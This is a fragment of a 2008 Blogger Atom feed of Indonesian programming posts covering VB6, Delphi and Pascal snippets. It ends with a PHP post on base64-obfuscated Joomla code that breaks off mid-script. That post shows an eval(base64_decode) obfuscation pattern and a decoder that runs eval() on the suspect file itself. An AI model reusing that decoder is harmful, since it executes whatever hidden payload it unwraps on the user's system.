rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://1.bp.blogspot.com/_JinBsxeKwxY/SOLOPM2U0MI/AAAAAAAAAKU/vCjOoffxzEA/S220/Bonitoo.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://lh6.ggpht.com/riyunizaalbum/SKW2iecvi6I/AAAAAAAAAJ8/jn0vJvYHOvg/s72-c/BUKUTAMU_0001.jpg?imgmax=800' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1475036015484717232.post-484092902526446230</id><published>2008-08-21T19:23:00.001+07:00</published><updated>2008-08-21T19:23:38.820+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Delphi'/><title type='text'>Mau Source Code Program Billing Warnet? Mau dong…!</title><content type='html'>&lt;p align="justify"&gt;&lt;/p&gt;  &lt;p align="justify"&gt;Program Billing Warnet dengan source code (Delphi).&lt;/p&gt;  &lt;p align="justify"&gt;&lt;em&gt;&lt;/em&gt;Open Source. Terdiri dari dua komponen yaitu komponen server dan komponen client.    &lt;br /&gt;Silakan download lingk dibawah ini:&lt;/p&gt;  &lt;p align="justify"&gt;Komponen server : &lt;a href="http://www.itcenter.or.id/mt/files/Billing_Warnet_Server.zip"&gt;Download (51K)&lt;/a&gt;    &lt;br /&gt;Komponen client : &lt;a href="http://www.itcenter.or.id/mt/files/Billing_Warnet_Client.zip"&gt;Download (18K)&lt;/a&gt;&lt;/p&gt;  &lt;p align="justify"&gt;Source : &lt;a href="http://blogrudy.wordpress.com/2008/08/14/mau-source-code-program-billing-warnet-mau-dong/" target="_blank"&gt;blogrudy.wordpress.com&lt;/a&gt;&lt;/p&gt;  &lt;div class="wlWriterSmartContent" id="scid:0767317B-992E-4b12-91E0-4F059A8CECA8:c0e9621d-9eb0-4fbb-9882-666a4a9a3a64" style="padding-right: 0px; display: inline; padding-left: 0px; padding-bottom: 0px; margin: 0px; padding-top: 0px"&gt;Technorati Tags: &lt;a href="http://technorati.com/tags/delphi" rel="tag"&gt;delphi&lt;/a&gt;,&lt;a href="http://technorati.com/tags/source" rel="tag"&gt;source&lt;/a&gt;,&lt;a href="http://technorati.com/tags/code" rel="tag"&gt;code&lt;/a&gt;&lt;/div&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1475036015484717232-484092902526446230?l=indoprogrammer.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://indoprogrammer.blogspot.com/feeds/484092902526446230/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=1475036015484717232&amp;postID=484092902526446230&amp;isPopup=true' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1475036015484717232/posts/default/484092902526446230'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1475036015484717232/posts/default/484092902526446230'/><link rel='alternate' type='text/html' href='http://indoprogrammer.blogspot.com/2008/08/mau-source-code-program-billing-warnet.html' title='Mau Source Code Program Billing Warnet? Mau dong…!'/><author><name>Bonitoo</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://1.bp.blogspot.com/_JinBsxeKwxY/SOLOPM2U0MI/AAAAAAAAAKU/vCjOoffxzEA/S220/Bonitoo.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1475036015484717232.post-2404285788482873192</id><published>2008-07-09T03:47:00.001+07:00</published><updated>2008-07-09T03:47:59.302+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Visual Basic'/><title type='text'>Source Code untuk memerika printer sudah terinstal di komputer dengan viual basic</title><content type='html'>&lt;p align="justify"&gt;untuk teman - teman yang sedang belajar pemrograman visual basic sedikit saya bagikan ilmu saya yaitu mengecek apakah dikomputer anda sudah terinstal printer atau belum. silahkan pelajari source code dibawah ini &lt;/p&gt;  &lt;p align="justify"&gt;&amp;#8216;Persiapan: 1. Buat 1 Project baru dengan 1 Form.&lt;/p&gt;  &lt;p align="justify"&gt;&amp;#8216; 2. Copy-kan coding ini ke editor form yang bertalian.&lt;/p&gt;  &lt;p align="justify"&gt;Public Function IsPrinterInstalled() As Boolean&lt;/p&gt;  &lt;p align="justify"&gt;Dim strDummy As String&lt;/p&gt;  &lt;p align="justify"&gt;strDummy = Printer.DeviceName&lt;/p&gt;  &lt;p align="justify"&gt;If Err.Number Then&lt;/p&gt;  &lt;p align="justify"&gt;PrinterInstalled = False&lt;/p&gt;  &lt;p align="justify"&gt;Else&lt;/p&gt;  &lt;p align="justify"&gt;PrinterInstalled = True&lt;/p&gt;  &lt;p align="justify"&gt;End If&lt;/p&gt;  &lt;p align="justify"&gt;End Function&lt;/p&gt; &lt;span class="fullpost"&gt; &lt;p align="justify"&gt;Private Sub Form_Load()&lt;/p&gt;  &lt;p align="justify"&gt;If IsPrinterInstalled Then&lt;/p&gt;  &lt;p align="justify"&gt;MsgBox &amp;#8220;Printer terinstall di komputer Anda!&amp;#8221;, vbInformation, &amp;#8220;Terinstall&amp;#8221;&lt;/p&gt;  &lt;p align="justify"&gt;Else&lt;/p&gt;  &lt;p align="justify"&gt;MsgBox &amp;#8220;Printer belum terinstall di komputer Anda!&amp;#8221;, vbCritical, &amp;#8220;Belum Terinstall&amp;#8221;&lt;/p&gt;  &lt;p align="justify"&gt;End If&lt;/p&gt;  &lt;p align="justify"&gt;End Sub&lt;/p&gt;  &lt;p align="justify"&gt;semoga bermanfaatnya.&lt;/p&gt;  &lt;p align="justify"&gt;diposting oleh ; rosoft_silaen&lt;/p&gt;  &lt;p align="justify"&gt;source : &lt;a href="http://sugara.wordpress.com/2008/06/07/source-code-untuk-memerika-printer-sudah-terinstal-di-komputer-dengan-viual-basic/" target="_blank"&gt;sugara.wordpress.com&lt;/a&gt;&lt;/p&gt;  &lt;p align="justify"&gt;&amp;#160;&lt;/p&gt; &lt;/span&gt; &lt;br /&gt; &lt;div style="padding-right: 0px; padding-left: 0px; padding-bottom: 0px; margin: 0px; padding-top: 0px; display: inline" id="scid:0767317B-992E-4b12-91E0-4F059A8CECA8:979fd442-5f67-4d60-a019-da5ea1537621" class="wlWriterSmartContent"&gt;Technorati Tags: &lt;a href="http://technorati.com/tags/visual%20basic" rel="tag"&gt;visual basic&lt;/a&gt;,&lt;a href="http://technorati.com/tags/programming" rel="tag"&gt;programming&lt;/a&gt;,&lt;a href="http://technorati.com/tags/source%20code" rel="tag"&gt;source code&lt;/a&gt;&lt;/div&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1475036015484717232-2404285788482873192?l=indoprogrammer.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://indoprogrammer.blogspot.com/feeds/2404285788482873192/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=1475036015484717232&amp;postID=2404285788482873192&amp;isPopup=true' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1475036015484717232/posts/default/2404285788482873192'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1475036015484717232/posts/default/2404285788482873192'/><link rel='alternate' type='text/html' href='http://indoprogrammer.blogspot.com/2008/07/source-code-untuk-memerika-printer.html' title='Source Code untuk memerika printer sudah terinstal di komputer dengan viual basic'/><author><name>Bonitoo</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://1.bp.blogspot.com/_JinBsxeKwxY/SOLOPM2U0MI/AAAAAAAAAKU/vCjOoffxzEA/S220/Bonitoo.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1475036015484717232.post-4239262900037231231</id><published>2008-07-09T03:44:00.001+07:00</published><updated>2008-07-09T03:44:01.353+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Visual Basic'/><title type='text'>Source Code “Toolbar Explorer”</title><content type='html'>&lt;p align="justify"&gt;yang udah mahir saya mohon jangan membaca artikel ini&amp;#8230;&amp;#8230;&amp;#8230;&amp;#8230;&amp;#8230;&amp;#8230;!   &lt;br /&gt;daripada habis habisin volt listrik lebih baik jangan baca dech.    &lt;br /&gt;kalau maksa ya udah nih dengan sesuka hati (-_-)?    &lt;br /&gt;DOWNLOAD di : &lt;a href="http://www.virologi.info/download/Toolbar_Explorer_Source_Code.rar"&gt;http://www.virologi.info/download/Toolbar_Explorer_Source_Code.rar&lt;/a&gt;&lt;/p&gt;  &lt;p align="justify"&gt;karna di pasuruan sekarang sering pemadaman listrik&lt;/p&gt;  &lt;p align="justify"&gt;ok lah yaudah ini langsung gw kasih source code nya freeeeeeeeeeeee&lt;/p&gt;  &lt;p align="justify"&gt;1 buah form dengan nama Form1   &lt;br /&gt;1 buah modul dengan nama Module1    &lt;br /&gt;1 buah textbox dengan nama Text1    &lt;br /&gt;3 buah command button dengan nama Command1;Command2;Command3    &lt;br /&gt;1 buah timer dengan nama Timer1 dengan interval=500    &lt;br /&gt;1 buah commondialog dengan nama CommonDialog1    &lt;br /&gt;1 buah frame dengan nama Frame1&lt;/p&gt;  &lt;p align="justify"&gt;&amp;#160;&lt;/p&gt; &lt;span class="fullpost"&gt; &lt;p align="justify"&gt;=======================================================================================   &lt;br /&gt;&amp;#226;&amp;#8364;&amp;#732;AWAL SOURCE FORM&lt;/p&gt;  &lt;p align="justify"&gt;Private Sub Command1_Click()   &lt;br /&gt;CommonDialog1.ShowOpen    &lt;br /&gt;Text1.Text = CommonDialog1.FileName    &lt;br /&gt;End Sub    &lt;br /&gt;Private Sub Timer1_Timer()    &lt;br /&gt;If Text1.Text = &amp;#8220;&amp;#8221; Then    &lt;br /&gt;Frame1.Caption = &amp;#8221; HAPUS BACKGROUND TOOLBAR &amp;#8220;    &lt;br /&gt;Else: Frame1.Caption = &amp;#8221; UBAH BACKGROUND TOOLBAR &amp;#8220;    &lt;br /&gt;End If    &lt;br /&gt;End Sub    &lt;br /&gt;Private Sub Command2_Click()    &lt;br /&gt;If Frame1.Caption = &amp;#8221; HAPUS BACKGROUND TOOLBAR &amp;#8221; Then    &lt;br /&gt;DeleteKey &amp;#8220;HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Toolbar\BackBitmapShell&amp;#8221;    &lt;br /&gt;MsgBox &amp;#8220;Background Toolbar Windows Explorer Telah Dihapus&amp;#8221;, vbInformation, &amp;#8220;Informasi&amp;#8221;    &lt;br /&gt;ElseIf Frame1.Caption = &amp;#8221; UBAH BACKGROUND TOOLBAR &amp;#8221; Then    &lt;br /&gt;CreateKey &amp;#8220;HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Toolbar\BackBitmapShell&amp;#8221;, Text1.Text    &lt;br /&gt;MsgBox &amp;#8220;Background Toolbar Windows Explorer Telah Diperbarui&amp;#8221;, vbInformation, &amp;#8220;Informasi&amp;#8221;    &lt;br /&gt;Text1.Text = &amp;#8220;&amp;#8221;    &lt;br /&gt;End If    &lt;br /&gt;End Sub    &lt;br /&gt;Private Sub Command3_Click()    &lt;br /&gt;If Frame1.Caption = &amp;#8221; HAPUS BACKGROUND TOOLBAR &amp;#8221; Then    &lt;br /&gt;DeleteKey &amp;#8220;HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Toolbar\BackBitmap&amp;#8221;    &lt;br /&gt;MsgBox &amp;#8220;Background Toolbar Internet Explorer Telah Dihapus&amp;#8221;, vbInformation, &amp;#8220;Informasi&amp;#8221;    &lt;br /&gt;ElseIf Frame1.Caption = &amp;#8221; UBAH BACKGROUND TOOLBAR &amp;#8221; Then    &lt;br /&gt;CreateKey &amp;#8220;HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Toolbar\BackBitmap&amp;#8221;, Text1.Text    &lt;br /&gt;MsgBox &amp;#8220;Background Toolbar Internet Explorer Telah Diperbarui&amp;#8221;, vbInformation, &amp;#8220;Informasi&amp;#8221;    &lt;br /&gt;Text1.Text = &amp;#8220;&amp;#8221;    &lt;br /&gt;End If    &lt;br /&gt;End Sub&lt;/p&gt;  &lt;p align="justify"&gt;&amp;#226;&amp;#8364;&amp;#732;AKHIR SOURCE FORM   &lt;br /&gt;&amp;#226;&amp;#8364;&amp;#732;=======================================================================================    &lt;br /&gt;&amp;#226;&amp;#8364;&amp;#732;AWAL SOURCE MODULE&lt;/p&gt;  &lt;p align="justify"&gt;Public Sub CreateKey(Folder As String, Value As String)   &lt;br /&gt;Dim b As Object    &lt;br /&gt;On Error Resume Next    &lt;br /&gt;Set b = CreateObject(&amp;#8221;wscript.shell&amp;#8221;)    &lt;br /&gt;b.RegWrite Folder, Value    &lt;br /&gt;End Sub    &lt;br /&gt;Public Sub CreateIntegerKey(Folder As String, Value As Integer)    &lt;br /&gt;Dim b As Object    &lt;br /&gt;On Error Resume Next    &lt;br /&gt;Set b = CreateObject(&amp;#8221;wscript.shell&amp;#8221;)    &lt;br /&gt;b.RegWrite Folder, Value, &amp;#8220;REG_DWORD&amp;#8221;    &lt;br /&gt;End Sub    &lt;br /&gt;Public Sub DeleteKey(Value As String)    &lt;br /&gt;Dim b As Object    &lt;br /&gt;On Error Resume Next    &lt;br /&gt;Set b = CreateObject(&amp;#8221;Wscript.Shell&amp;#8221;)    &lt;br /&gt;b.RegDelete Value    &lt;br /&gt;End Sub&lt;/p&gt;  &lt;p align="justify"&gt;&amp;#226;&amp;#8364;&amp;#732;AKHIR SOURCE MODUL   &lt;br /&gt;&amp;#226;&amp;#8364;&amp;#732;=======================================================================================&lt;/p&gt;  &lt;p align="justify"&gt;NB :   &lt;br /&gt;program ini khusus untuk pemula yang baru mengenal bahasa perograman ms vb 6.0 tapi semoga program ini sangat bermanfaat.&lt;/p&gt;  &lt;p align="justify"&gt;kelemahan : hanya bisa menggunakan file bitmap (*.bmp)&lt;/p&gt;  &lt;p align="justify"&gt;semoga bermanfaat bagi semua orang di dunia maya permintaan : yang memiliki program antivirus tercanggih mohon kirim ke BlackID47@yahoo.CO.ID dan NFS_Kholis@yahoo.CO.ID dan &lt;a href="mailto:AssassinsDevil@yahoo.CO.ID"&gt;AssassinsDevil@yahoo.CO.ID&lt;/a&gt; please gw lagi butuh nich(._.)&lt;/p&gt;  &lt;p align="justify"&gt;terima kasih bwt   &lt;br /&gt;-kakak new.bie yang ada di pasuruan    &lt;br /&gt;-kang aat shadewa    &lt;br /&gt;-dan semua orang yang mengenal virologi, sering seringah upload ke virologi.info ya&amp;#8230;!&lt;/p&gt;  &lt;p align="justify"&gt;source : &lt;a href="http://oktavianus.wordpress.com/2008/06/15/source-code-toolbar-explorer/" target="_blank"&gt;oktavianus.wordpress.com&lt;/a&gt;&lt;/p&gt;  &lt;p align="justify"&gt;&amp;#160;&lt;/p&gt; &lt;/span&gt; &lt;br /&gt; &lt;div style="padding-right: 0px; padding-left: 0px; padding-bottom: 0px; margin: 0px; padding-top: 0px; display: inline" id="scid:0767317B-992E-4b12-91E0-4F059A8CECA8:641940c1-99d8-459f-a83d-644713ac5b88" class="wlWriterSmartContent"&gt;Technorati Tags: &lt;a href="http://technorati.com/tags/vb" rel="tag"&gt;vb&lt;/a&gt;,&lt;a href="http://technorati.com/tags/basic" rel="tag"&gt;basic&lt;/a&gt;,&lt;a href="http://technorati.com/tags/explorer" rel="tag"&gt;explorer&lt;/a&gt;,&lt;a href="http://technorati.com/tags/source%20code" rel="tag"&gt;source code&lt;/a&gt;&lt;/div&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1475036015484717232-4239262900037231231?l=indoprogrammer.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://indoprogrammer.blogspot.com/feeds/4239262900037231231/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=1475036015484717232&amp;postID=4239262900037231231&amp;isPopup=true' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1475036015484717232/posts/default/4239262900037231231'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1475036015484717232/posts/default/4239262900037231231'/><link rel='alternate' type='text/html' href='http://indoprogrammer.blogspot.com/2008/07/source-code-toolbar-explorer.html' title='Source Code “Toolbar Explorer”'/><author><name>Bonitoo</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://1.bp.blogspot.com/_JinBsxeKwxY/SOLOPM2U0MI/AAAAAAAAAKU/vCjOoffxzEA/S220/Bonitoo.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1475036015484717232.post-977885141620785819</id><published>2008-07-09T03:38:00.001+07:00</published><updated>2008-07-09T03:38:05.802+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Delphi'/><category scheme='http://www.blogger.com/atom/ns#' term='Pascal'/><title type='text'>Mengakses File di Delphi secara Turbo Pascal Klasik</title><content type='html'>&lt;p align="justify"&gt;Kemarin ada seseorang yang menanyakan kepada saya tentang salah satu cara mengakses file di Delphi dengan cara baris per baris. Kemudian saya ingat dengan model pengakses file Turbo Pascal. Kebetulan waktu saya SMU dulu belajar pemrograman dan algorithma makai Turbo Pascal jadi saya tahu.&lt;/p&gt;  &lt;p align="justify"&gt;Berikut ini adalah source code untuk membuat file teks dan membacanya untuk Turbo Pascal:&lt;/p&gt; &lt;span class="fullpost"&gt; &lt;blockquote&gt;   &lt;p align="justify"&gt;(* Program FILE1.PAS *)      &lt;br /&gt;Program File1(Input,Output);       &lt;br /&gt;uses Crt,Dos;       &lt;br /&gt;var       &lt;br /&gt;T: Text;       &lt;br /&gt;S: String;       &lt;br /&gt;Kalimat: String;       &lt;br /&gt;Panjang: Integer;       &lt;br /&gt;Lebar: Real;       &lt;br /&gt;begin       &lt;br /&gt;(* Data yang akan dituliskan *)       &lt;br /&gt;Kalimat := &amp;#8216;Ini adalah data yang disimpan dalam file teks&amp;#8217;;       &lt;br /&gt;Panjang := 300;       &lt;br /&gt;Lebar := 200;&lt;/p&gt;    &lt;p align="justify"&gt;(* Pembuatan file *)      &lt;br /&gt;Assign(T,&amp;#8217;SEMUT.TXT&amp;#8217;); (* Menginisialisasi handel file *)       &lt;br /&gt;Rewrite(T); (* Membuat file baru *)       &lt;br /&gt;WriteLn(T,&amp;#8217;Semut 1.0&amp;#8242;); (* Menulis Signature *)       &lt;br /&gt;WriteLn(T,Kalimat); (* Menulis data string *)       &lt;br /&gt;WriteLn(T,Panjang); (* Menulis data integer *)       &lt;br /&gt;WriteLn(T,Lebar); (* Menulis data real *)       &lt;br /&gt;Close(T); (* Menutup handel file *)&lt;/p&gt;    &lt;p align="justify"&gt;(* Menghilangkan data yang telah ditulis dari memori *)      &lt;br /&gt;Kalimat := &amp;#8221;;       &lt;br /&gt;Panjang := 0;       &lt;br /&gt;Lebar := 0;&lt;/p&gt;    &lt;p align="justify"&gt;(* Membaca file *)      &lt;br /&gt;Assign(T,&amp;#8217;SEMUT.TXT&amp;#8217;); (* Menginisialisasi handel file *)       &lt;br /&gt;Reset(T); (* Membuka file untuk membaca data *)       &lt;br /&gt;ReadLn(T,S); (* Membaca string untuk memeriksa signatur *)       &lt;br /&gt;if (S &amp;lt;&amp;gt; &amp;#8216;Semut 1.0&amp;#8242;) then       &lt;br /&gt;begin       &lt;br /&gt;WriteLn(&amp;#8217;File yang dibaca telah rusak&amp;#8217;);       &lt;br /&gt;Halt(1);       &lt;br /&gt;end;       &lt;br /&gt;ReadLn(T,Kalimat); (* Membaca data string *)       &lt;br /&gt;ReadLn(T,Panjang); (* Membaca data integer *)       &lt;br /&gt;ReadLn(T,Lebar); (* Membaca data real *)       &lt;br /&gt;Close(T); (* Menutup handel file *)&lt;/p&gt;    &lt;p align="justify"&gt;(* Menuliskan data yang telah dibaca dari file *)      &lt;br /&gt;WriteLn(&amp;#8217;Data hasil pembacaan dari file:&amp;#8217;);       &lt;br /&gt;WriteLn(&amp;#8217;Kalimat: &amp;#8216;,Kalimat);       &lt;br /&gt;WriteLn(&amp;#8217;Panjang: &amp;#8216;,Panjang);       &lt;br /&gt;WriteLn(&amp;#8217;Lebar: &amp;#8216;,Lebar);       &lt;br /&gt;end.&lt;/p&gt; &lt;/blockquote&gt;  &lt;p align="justify"&gt;Kemudian marilah kita bandingkan dengan program yang sama yang dibuat dengan CodeGear Delphi 2007 berikut:&lt;/p&gt;  &lt;blockquote&gt;   &lt;p align="justify"&gt;(* Program File1.dpr *)      &lt;br /&gt;Program File1;       &lt;br /&gt;{$APPTYPE CONSOLE}       &lt;br /&gt;uses SysUtils;       &lt;br /&gt;var       &lt;br /&gt;T: TextFile;       &lt;br /&gt;S: String;       &lt;br /&gt;Kalimat: String;       &lt;br /&gt;Panjang: Integer;       &lt;br /&gt;Lebar: Real;       &lt;br /&gt;begin       &lt;br /&gt;(* Data yang akan dituliskan *)       &lt;br /&gt;Kalimat := &amp;#8216;Ini adalah data yang disimpan dalam file teks&amp;#8217;;       &lt;br /&gt;Panjang := 300;       &lt;br /&gt;Lebar := 200;&lt;/p&gt;    &lt;p align="justify"&gt;(* Pembuatan file *)      &lt;br /&gt;AssignFile(T,&amp;#8217;SEMUT.TXT&amp;#8217;); (* Menginisialisasi handel file *)       &lt;br /&gt;Rewrite(T); (* Membuat file baru *)       &lt;br /&gt;WriteLn(T,&amp;#8217;Semut 1.0&amp;#8242;); (* Menulis Signature *)       &lt;br /&gt;WriteLn(T,Kalimat); (* Menulis data string *)       &lt;br /&gt;WriteLn(T,Panjang); (* Menulis data integer *)       &lt;br /&gt;WriteLn(T,Lebar); (* Menulis data real *)       &lt;br /&gt;CloseFile(T); (* Menutup handel file *)&lt;/p&gt;    &lt;p align="justify"&gt;(* Menghilangkan data yang telah ditulis dari memori *)      &lt;br /&gt;Kalimat := &amp;#8221;;       &lt;br /&gt;Panjang := 0;       &lt;br /&gt;Lebar := 0;&lt;/p&gt;    &lt;p align="justify"&gt;(* Membaca file *)      &lt;br /&gt;AssignFile(T,&amp;#8217;SEMUT.TXT&amp;#8217;); (* Menginisialisasi handel file *)       &lt;br /&gt;Reset(T); (* Membuka file untuk membaca data *)       &lt;br /&gt;ReadLn(T,S); (* Membaca string untuk memeriksa signatur *)       &lt;br /&gt;if (S &amp;lt;&amp;gt; &amp;#8216;Semut 1.0&amp;#8242;) then       &lt;br /&gt;begin       &lt;br /&gt;WriteLn(&amp;#8217;File yang dibaca telah rusak&amp;#8217;);       &lt;br /&gt;Halt(1);       &lt;br /&gt;end;       &lt;br /&gt;ReadLn(T,Kalimat); (* Membaca data string *)       &lt;br /&gt;ReadLn(T,Panjang); (* Membaca data integer *)       &lt;br /&gt;ReadLn(T,Lebar); (* Membaca data real *)       &lt;br /&gt;CloseFile(T); (* Menutup handel file *)&lt;/p&gt;    &lt;p align="justify"&gt;(* Menuliskan data yang telah dibaca dari file *)      &lt;br /&gt;WriteLn(&amp;#8217;Data hasil pembacaan dari file:&amp;#8217;);       &lt;br /&gt;WriteLn(&amp;#8217;Kalimat: &amp;#8216;,Kalimat);       &lt;br /&gt;WriteLn(&amp;#8217;Panjang: &amp;#8216;,Panjang);       &lt;br /&gt;WriteLn(&amp;#8217;Lebar: &amp;#8216;,Lebar);       &lt;br /&gt;end.&lt;/p&gt; &lt;/blockquote&gt;  &lt;p align="justify"&gt;Dengan demikian kita boleh mengambil kesimpulan bahwa kita bisa menggunakan source code Turbo Pascal 5.5 yang lama pada Delphi 2007 karena model pengaksesan file Turbo Pascal masih didukung oleh Delphi 2007.&lt;/p&gt;  &lt;p align="justify"&gt;Demikianlah salah satu cara mengakses file baris per baris dengan Delphi 2007. Cara yang lain adalah dengan obyek TStringList atau komponen Memo yang saya yakin teman-teman sudah sangat familier.&lt;/p&gt;  &lt;p align="justify"&gt;Peace Man&amp;#8230;&lt;/p&gt;  &lt;p align="justify"&gt;source : &lt;a href="http://ariefsujatmiko.wordpress.com/2008/07/05/mengakses-file-di-delphi-secara-turbo-pascal-klasik/" target="_blank"&gt;ariefsujatmiko.wordpress.com&lt;/a&gt;&lt;/p&gt; &lt;br /&gt; &lt;/span&gt; &lt;br /&gt; &lt;div style="padding-right: 0px; padding-left: 0px; padding-bottom: 0px; margin: 0px; padding-top: 0px; display: inline" id="scid:0767317B-992E-4b12-91E0-4F059A8CECA8:b642d339-54b2-4a3d-a1f3-35cc2808aaf8" class="wlWriterSmartContent"&gt;Technorati Tags: &lt;a href="http://technorati.com/tags/delphi" rel="tag"&gt;delphi&lt;/a&gt;,&lt;a href="http://technorati.com/tags/pascal" rel="tag"&gt;pascal&lt;/a&gt;,&lt;a href="http://technorati.com/tags/source%20code" rel="tag"&gt;source code&lt;/a&gt;&lt;/div&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1475036015484717232-977885141620785819?l=indoprogrammer.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://indoprogrammer.blogspot.com/feeds/977885141620785819/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=1475036015484717232&amp;postID=977885141620785819&amp;isPopup=true' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1475036015484717232/posts/default/977885141620785819'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1475036015484717232/posts/default/977885141620785819'/><link rel='alternate' type='text/html' href='http://indoprogrammer.blogspot.com/2008/07/mengakses-file-di-delphi-secara-turbo.html' title='Mengakses File di Delphi secara Turbo Pascal Klasik'/><author><name>Bonitoo</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://1.bp.blogspot.com/_JinBsxeKwxY/SOLOPM2U0MI/AAAAAAAAAKU/vCjOoffxzEA/S220/Bonitoo.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1475036015484717232.post-4142420817467473544</id><published>2008-06-22T19:06:00.001+07:00</published><updated>2008-06-22T19:06:29.279+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='PHP'/><title type='text'>Base64_Encode</title><content type='html'>&lt;p align="justify"&gt;Base64_Encode adalah salah satu fungsi enkripsi data yang tersedia pada PHP yang biasa dipakai oleh para programmer untuk meningkatkan pengamanan berbagai source code yang dibuatnya apalagi jika akan didistribusikan secara bebas.&lt;/p&gt;  &lt;p align="justify"&gt;Nah, pada kesempatan ini saya bukan bermaksud mengajari para master, namun berbagi informasi saja terutama buat teman-teman yang mungkin dibikin bingung tujuh keliling gara-gara Base64_Encode yang bermunculan pada joomla.&lt;/p&gt; &lt;span class="fullpost"&gt; &lt;p align="justify"&gt;Pada beberapa komponen akan ditemukan   &lt;br /&gt;eval(stripslashes(base64_decode(VGhpcyBpcyBhbiBlbmNvZGVkIHN0cmluZw==)))    &lt;br /&gt;Biasanya enskripsinya tersebut juga menyisipkan hal-hal yang kurang sip bagi pemakainya.&lt;/p&gt;  &lt;p align="justify"&gt;Untuk menyelesaikannya coba kita lihat contoh ini:&lt;/p&gt;  &lt;p align="justify"&gt;&amp;lt;?php   &lt;br /&gt;$str=&amp;#8221;This is an encoded string&amp;#8221;;    &lt;br /&gt;echo base64_encode($str);    &lt;br /&gt;//hasil : VGhpcyBpcyBhbiBlbmNvZGVkIHN0cmluZw==    &lt;br /&gt;echo &amp;#8220;    &lt;br /&gt;&amp;#8220;;    &lt;br /&gt;//string dalam tanda petik adalah chipertext dari sting &amp;#8220;VGhpcyBpcyBhbiBlbmNvZGVkIHN0cmluZw==&amp;#8221;    &lt;br /&gt;$str = &amp;#8216;VGhpcyBpcyBhbiBlbmNvZGVkIHN0cmluZw==&amp;#8217;;    &lt;br /&gt;echo base64_decode(&amp;#8221;$str&amp;#8221;);    &lt;br /&gt;//hasil : This is an encoded string    &lt;br /&gt;?&amp;gt;&lt;/p&gt;  &lt;p align="justify"&gt;Coba gunakan cara berikut ini untuk memecahkan source code yang di enskripsi tersebut:   &lt;br /&gt;&amp;lt;?php&lt;/p&gt;  &lt;p align="justify"&gt;// Membuka filerahasia.txt   &lt;br /&gt;$fp1 = fopen (&amp;#8221;filerahasia.txt&amp;#8221;, &amp;#8220;r&amp;#8221;);    &lt;br /&gt;// Membaca isi content filerahasia.txt    &lt;br /&gt;$contents = fread ($fp1, filesize (&amp;#8221;filerahasia.txt&amp;#8221;));    &lt;br /&gt;// Menutup filerahasia.txt    &lt;br /&gt;fclose($fp1);&lt;/p&gt;  &lt;p align="justify"&gt;//Pada saat menemukan kalimat eval dan gzinflate di awal maka format   &lt;br /&gt;while (preg_match(&amp;#8221;/eval\(gzinflate/&amp;#8221;,$contents)) {&lt;/p&gt;  &lt;p align="justify"&gt;//Proses decode content di mulai&lt;/p&gt;  &lt;p align="justify"&gt;$contents=preg_replace(&amp;#8221;/&amp;lt;\?|\?&amp;gt;/&amp;#8221;, &amp;#8220;&amp;#8221;, $contents);   &lt;br /&gt;eval(preg_replace(&amp;#8221;/eval/&amp;#8221;, &amp;#8220;\$contents=&amp;#8221;, $contents));    &lt;br /&gt;}&lt;/p&gt;  &lt;p align="justify"&gt;// Membuka file hasil.txt   &lt;br /&gt;$fp2 = fopen(&amp;#8221;hasil.txt&amp;#8221;,&amp;#8221;w&amp;#8221;);    &lt;br /&gt;// Menulis content hasil decoding ke hasil.txt    &lt;br /&gt;fwrite($fp2, 